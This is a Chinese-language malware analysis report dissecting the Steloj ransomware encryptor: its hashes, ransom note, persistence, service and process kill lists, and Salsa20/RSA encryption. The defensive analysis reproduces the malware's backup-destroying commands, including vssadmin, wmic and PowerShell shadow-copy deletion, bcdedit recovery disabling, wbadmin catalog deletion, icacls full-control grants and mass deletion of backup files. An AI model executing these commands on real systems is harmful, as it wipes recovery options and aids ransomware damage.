1.背景
1.1 来源
近期,Solar团队收到某汽车制造公司的援助请求,该公司的计算机服务器受到了Steloj勒索家族的侵害,所有的文件被加密并且添加了.steloj后缀,该勒索软件的初始入侵方式是MSSQL数据库弱口令进行入侵,后续通过XP_CMD 获取系统 system 权限 进行命令执行。应客户的要求,本文暂不提供对入侵事件溯源的分析报告,仅提供该勒索病毒加密器的逆向分析报告。
2.恶意文件基础信息
2.1 加密器基本信息
文件名 | SQLcn052511321ALL.exe |
大小 | 678912(663.00 KiB) |
操作系统 | Windows(Vista) |
架构 | I386 |
模式 | 32 位 |
类型 | GUI |
字节序 | LE |
MD5 | c8ce1e35a68c3ce7b2485855b7d82dfc |
SHA1 | 941deaad4c2b78998447f6735a88076f62e5f739 |
SHA256 | bad9957fd18dfa2e4231a61e1c8bb5861c52710fdf1735ebe9dc28f744c37cd7 |
2.2 勒索信
README_WARNING.txt
.1. Q: Whats Happen? ): Your files have been encrypted ,The file structure was not damaged, we did everything possible so that this could not happen. .2. Q: How to recover files? ): If you wish to decrypt your files you will need to cryptocurrency pay us you can send a three small files for testing,'excel ,word,jpg' something. As a guarantee of our decryption ability. .3. Q: How to contact with you? ): You can write us to our mailboxes: [steloj@bk.ru] and [steloj@lycos.com] [stelo@onet.eu] (please in subject line write your ID:
:::WARNING STATEMENT::: DON'T try to change encrypted files by yourself! If you privately try to modify the file to decrypt it, if it fails then we cannot recover. If you don't know how to buy cryptocurrency, please search for ransomware in 'Taobao' there will be many people who are willing to help you.
3.加密后文件分析
3.1威胁分析
病毒家族 | steloj |
首次出现时间/捕获分析时间 | 2024.06.01 || 2024.06.10 |
威胁类型 | 勒索软件,加密病毒 |
加密文件扩展名 | .steloj |
勒索信文件名 | README_WARNING.txt |
有无免费解密器? | 无 |
联系邮箱 | steloj@lycos.com |
检测名称 | Avast (Win32:Malware-gen), AhnLab-V3 (Trojan/Win.Generic.C5576951), ALYac (Gen:Variant.Tedy.512515), Avira (no cloud) (TR/Ransom.imrnt), BitDefenderTheta (Gen:NN.ZexaF.36802.yq0@aSdxC8m), CrowdStrike Falcon (Win/malicious_confidence_100% (W)),Cylance(Unsafe),DeepInstinct(MALICIOUS),Emsisoft(Gen:Variant.Tedy.512515 (B)),ESET-NOD32(A Variant Of MSIL/Filecoder.LU),GData(Gen:Variant.Tedy.512515), Ikarus (Trojan.MSIL.Crypt),K7GW(Trojan ( 0052f4e41 )) |
感染症状 | 无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(.steloj)。桌面上会显示一条勒索要求消息(README_WARNING.txt)。网络犯罪分子要求通过洋葱路由登录到他们提供的数据恢复网站,根据不同的用户情况,黑客的开价也不同 |
感染方式 | 受感染的电子邮件附件(宏)、恶意广告、漏洞利用 |
受灾影响 | 大部分文件(不包括exe dll等文件,与重要系统文件)都经过加密,如果不支付赎金无法打开。黑客声称拿到了电脑内的重要数据,若不支付赎金则会在黑客的blog上公开 |
加密后:
解密后:
文件的大小增加了1032Byte,经过多次实验结果仍然相同,具体请看下面的加密完毕后的标志写入处内容。
4. 逆向分析
4.1 设置命令行和系统的语言环境
4.2 删除所有系统卷影
外部调用是创建了一个线程实现的对del_all_shadows函数的调用
del_all_shadows函数:
存在对字符串解密的情况,解密后,winExec执行的命令是:
vssadmin delete shadows /all /quiet
4.3 创建共享资源访问信号量
创建了以“{8761ABBD-7F85-42EE-B272-A76179687C63}”为名称的信号量,防止在加密的过程中,产生线程资源访问冲突问题。
管理员模式启动
这里会先通过进程Token中的信息来判断是否是管理员身份启动,若是管理员则不通过sub_F3829E函数来重新以管理员的模式启动程序。
sub_F3829E函数:
该函数会先获取当前程序运行的路径,然后设置管理员启动参数,最后调用ShellExecuteExW函数来执行,以实现管理员权限的启动,w10环境下会弹窗。
4.4 关闭多权限网络共享访问网络共享
通过对注册表SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System的EnableLinkedConnections设置为0,以实现对多权限网络共享访问网络共享的关闭。
4.5 关闭LanmanWorksstation服务
4.6 以当前用户模式重新开启LanmanWorksstation服务
向桌面写入beforePShell.txt文件
这里会向桌面写入一个beforePShell.txt文件,但是这里因为encode_last+10217变量为0,所以不会执行。
4.7 寻找物理空闲倦
寻找物理空闲倦,如果存在,将对系统上的空闲倦实行挂载。
find_free_mem函数实现:
4.8 将自身程序写入自启动
通过将自身写入到Software\\Microsoft\\Windows\\CurrentVersion\\Run注册表中,并且键为MSFEEditor,值为该文件路径。
4.9 命令执行
- 停止 Volume Shadow Copy 服务,设置其启动类型为禁用,然后删除卷影副本
net stop VSS & sc config VSS start= disabled
- 启动 Volume Shadow Copy 服务,并将其启动类型设置为按需启动
sc config VSS start= Demand & net start VSS
- 使用 WMI 删除所有卷影副本
wmic.exe SHADOWCOPY delete /nointeractive
- 使用 vssadmin 删除系统中的所有卷影副本
vssadmin.exe Delete Shadows /All /Quiet
- 调整驱动器 C、D、E、F、G、H 等 上卷影副本存储空间的最大大小为 401MB
vssadmin.exe Resize ShadowStorage /for=c: /on=c: /maxsize=401MB
vssadmin.exe Resize ShadowStorage /for=d: /on=d: /maxsize=401MB
vssadmin.exe Resize ShadowStorage /for=e: /on=e: /maxsize=401MB
vssadmin.exe Resize ShadowStorage /for=f: /on=f: /maxsize=401MB
vssadmin.exe Resize ShadowStorage /for=g: /on=g: /maxsize=401MB
vssadmin.exe Resize ShadowStorage /for=h: /on=h: /maxsize=401MB
- 将驱动器 C、D、E、F、G、H 上卷影副本存储空间的最大大小设置为无限制
vssadmin.exe Resize ShadowStorage /for=c: /on=c: /maxsize=unbounded
vssadmin.exe Resize ShadowStorage /for=b: /on=b: /maxsize=unbounded
vssadmin.exe Resize ShadowStorage /for=d: /on=d: /maxsize=unbounded
vssadmin.exe Resize ShadowStorage /for=e: /on=e: /maxsize=unbounded
vssadmin.exe Resize ShadowStorage /for=f: /on=f: /maxsize=unbounded
vssadmin.exe Resize ShadowStorage /for=g: /on=g: /maxsize=unbounded
- 禁用系统恢复功能
bcdedit.exe /set {default} recoveryenabled No
- 设置启动状态策略为忽略所有失败
bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
- 删除备份目录
wbadmin.exe DELETE CATALOG -quiet
- 授予指定用户对所有驱动器的完全控制权限
icacls.exe \"{A-Z}:\" /grant {Username}:F /T /C /Q
- 删除系统上c、d、e、f、g、h盘下特定类型的文件,包括 VHD、bac、bak、wbcat、bkf、Backup、backup、set、win 和 dsk 文件
del /s /f /q c:\\*.VHD c:\\*.bac c:\\*.bak c:\\*.wbcat c:\\*.bkf c:\\Backup*.* c:\\backup*.* c:\\*.set c:\\*.win c:\\*.dsk
del /s /f /q b:\\*.VHD c:\\*.bac c:\\*.bak c:\\*.wbcat c:\\*.bkf c:\\Backup*.* c:\\backup*.* c:\\*.set c:\\*.win c:\\*.dsk
del /s /f /q d:\\*.VHD c:\\*.bac c:\\*.bak c:\\*.wbcat c:\\*.bkf c:\\Backup*.* c:\\backup*.* c:\\*.set c:\\*.win c:\\*.dsk
del /s /f /q e:\\*.VHD c:\\*.bac c:\\*.bak c:\\*.wbcat c:\\*.bkf c:\\Backup*.* c:\\backup*.* c:\\*.set c:\\*.win c:\\*.dsk
del /s /f /q f:\\*.VHD c:\\*.bac c:\\*.bak c:\\*.wbcat c:\\*.bkf c:\\Backup*.* c:\\backup*.* c:\\*.set c:\\*.win c:\\*.dsk
del /s /f /q g:\\*.VHD c:\\*.bac c:\\*.bak c:\\*.wbcat c:\\*.bkf c:\\Backup*.* c:\\backup*.* c:\\*.set c:\\*.win c:\\*.dsk
del /s /f /q h:\\*.VHD c:\\*.bac c:\\*.bak c:\\*.wbcat c:\\*.bkf c:\\Backup*.* c:\\backup*.* c:\\*.set c:\\*.win c:\\*.dsk
- 删除当前脚本文件
del %0
- 使用 wbadmin 删除系统状态备份
wbadmin.exe DELETE SYSTEMSTATEBACKUP
- 使用 wbadmin 删除系统状态备份中最旧的备份
wbadmin.exe DELETE SYSTEMSTATEBACKUP -deleteoldest
- 使用 PowerShell 删除所有阴影副本
powershell -command "Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}"
4.10 清空回收站
4.11 关闭指定服务
4.11.1 关闭的服务
sqlservr
MSSQLFDLauncher
MSSQLSERVER
SQLSERVERAGENT
SQLBrowser
SQLTELEMETRY
MsDtsServer130
SSISTELEMETRY130
SQLWriter
MSSQL
SQLAgent
MSSQLServerADHelper100
MSSQLServerOLAPService
Culserver
DefWatch
Intuit.QuickBooks.FCS
QBCFMonitorService
QBIDPService
RTVscan
SQLADHLP
SavRoam
ccEvtMgr
ccSetMgr
msmdsrv
sqladhlp
sqlbrowser
sqlwriter
vmickvpexchange
vmicguestinterface
vmicshutdown
vmicheartbeat
vmicrdv
storflt
vmictimesync
vmicvss
MsDtsServer100
ReportServer
TMBMServer
postgresql-x64-9.4
UniFi
vmms
wrapper
postgresql-x64-9.4
UniFi
vmms
wrapper
4.12 关闭指定进程
4.12.1 关闭的进程
360doctor.exe
ssms.exe
WINWORD.exe
sqlservr.exe
chrome.exe
axlbridge.exe
ccEvtMgr
ccSetMgr
Culserver
Culture.exe
dbeng8
dbsrv12
DefWatch
Defwatch.exe
EXCEL.EXE
fdhost.exe
fdlauncher.exe
GDscan.exe
httpd.exe
Intuit.QuickBooks.FCS
java.exe
MsDtsSrvr.exe
msmdsrv
onenotem.exe
QBCFMonitorService
QBCFMonitorService.exe
QBDBMgr.exe
QBIDPService
QBIDPService.exe
qbupdate.exe
QBW32.exe
RAgui.exe
RTVscan
RTVscan.exe
SavRoam
sqladhlp
SQLADHLP
sqlagent
sqlbrowser
sqlbrowser.exe
sqlmangr.exe
sqlservr
sqlservr.exe
sqlwriter
sqlwriter.exe
ssms.exe
supervise.exe
tomcat6
tomcat6.exe
wdswfsafe.exe
winword.exe
Winword.exe
wrapper
wxServer.exe
wxServerView
zhudongfangyu
ZhuDongFangYu.exe
ver.exe
wxServerView
zhudongfangyu
ZhuDongFangYu.exe
4.13 调用Tor路由,实现暗网通信
这里的通信地址未设置,并且并未开启通信功能,所以不会执行。
[object Object]
这里会下载洋葱路由,然后对其进行解压,并且调用,以实现对暗网的通信
4.14 随机生成密钥
这里会调用AutoSeededRandom函数来生成32位的随机数,并将此当作加密的Key。
4.15 RSA加密随机密钥
这里会使用RSA将上面生成的KEY加密,并且换成HEX形式,保存到Buffer中,并且会清空加密前的对象。
4.16 生成勒索信内容,并且先写入到当前目录下
根据加密密钥的内容,取前几位当作加密的ID,将其替换到勒索信ID中
produce_ransom_note函数:
内存中勒索信的内容:
在当前目录写入勒索信
内存中勒索信文件名称:
4.17 目录遍历
很常规的目录遍历,遇到目录就递归,遇到文件就将其当作线程参数,执行StartAddress函数,来对文件过滤等,如果合适就执行加密并且目录写入勒索信等。
4.18 文件过滤(StartAddress函数)
该函数会检查目录,针对其中包含以下目录的路径不做加密操作
AppData
C:\Windows
C:\Program Files
C:\Program Files (x86)
C:\System Volume Information
C:\$Recycle.Bin
C:\ProgramData
Data
Windows
对文件不做的操作有:
程序本身
已经加密的文件
勒索信
如果文件不满足以上条件,就可以执行enctypt_entry函数来执行加密
当前目录遍历完毕后,在当前遍历目录下写入勒索信
4.19 文件加密(encrypto_entry函数):
该函数会先根据要加密的文件后缀进行判断,如果在指定列表中的文件后缀不加密
不加密的文件后缀:
.steloj
.txt
.xml
.log
.diagcab
.dll
.drv
.exe
.icl
.ico
.icns
.ini
.inprocess
.idx
.lnk
.mod
.mht
.mpa
.msc
.msp
.msu
.ocx
.prf
.ReadInstructions
.rom
.rtp
.scr
.shs
.spl
.sys
.theme
.themepack
根据指定的文件后缀,来判断所需的加密大小,这里为设置所以都是默认大小0x19000
获取文件对象,并且判断其后缀是否在规定的后缀中,如果在的话,就将v48设置为1
利用生成32位随机数,取前8位给IV,然后修改加密轮次,并且初始化加密对象,每一个文件都会生成一次随机的IV,但是KEY只会根据程序运行所生成一次,即相同的ID的加密文件用的都是一个KEY加密的。
对文件进行Salsa20加密
写入文件后缀
加密结束,下一个文件将依旧执行上述的加密操作。
4.20 隐身模式启动Chrome浏览器
执行命令:start chrome /incognito
4.21 删除自身
之后就是对一些资源的回收释放了。
5.病毒分析概览
本次Steloj勒索家族通过MSSQL数据库弱口令入侵,获取系统权限后加密文件并添加.steloj
后缀。病毒会删除系统卷影、关闭多权限网络共享访问、停止和重新启动关键服务、随机生成加密密钥并使用RSA加密存储并且使用后清空。加密过程中,病毒遍历目录,过滤特定文件和路径,使用Salsa20算法加密符合条件的文件,并在每个目录写入勒索信。最终,病毒会隐藏启动Chrome浏览器并删除自身。